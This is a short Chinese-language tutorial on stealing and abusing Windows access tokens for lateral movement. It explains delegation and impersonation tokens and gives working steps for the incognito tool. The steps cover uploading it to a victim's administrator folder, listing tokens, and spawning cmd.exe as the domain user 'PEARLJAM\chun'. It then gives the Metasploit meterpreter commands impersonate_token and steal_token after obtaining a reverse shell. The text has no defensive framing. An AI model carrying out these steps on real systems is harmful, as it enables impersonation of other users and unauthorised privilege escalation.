AccessToken 的窃取与利用

一、操作说明

1、Windows 的 AccessToken 有两种类型：
（1）Delegation Token：授权令牌，它支持交互式会话登录（例如本地用户直接登录、远程桌面登录访问)
（2）Impresonation Token：模拟令牌，它是非交互的会话（例如使用net use
访问共享文件夹)
注： 两种 token 只在系统重启后清除具有 Delegation token 的用户在注销后，该 Token 将变成Impersonation token，依旧有效。

2、AccessToken 的窃取需要管理员权限。

二、在 Windows 下使用工具 incognito

1、提权到管理员用户

上述此处进行模拟：1、先登录域用户，注销后登录管理员账户

2、上传工具到对方 administrator 目录

3、使用工具命令获取 token：

incognito.exe list_tokens -u

发现域 token

4、使用 token 进行伪造登录：

incognito.exe execute -c "PEARLJAM\chun" cmd.exe

三、在 MSF 中使用 incognito

2.1? 使用 token 伪造身份

1、获取到反向 shell

2、使用命令进入 incognito 模块：

use incognito 

3、使用命令列出 token：

list_tokens -u

4、伪造登录：

impersonate_token "token"

5、退出：

rev2self

2.2? 窃取进程权限

1、获取进程号：

ps

2、窃取进程权限（可能会窃取失败）：

steal_token PID

3、退出：

rev2self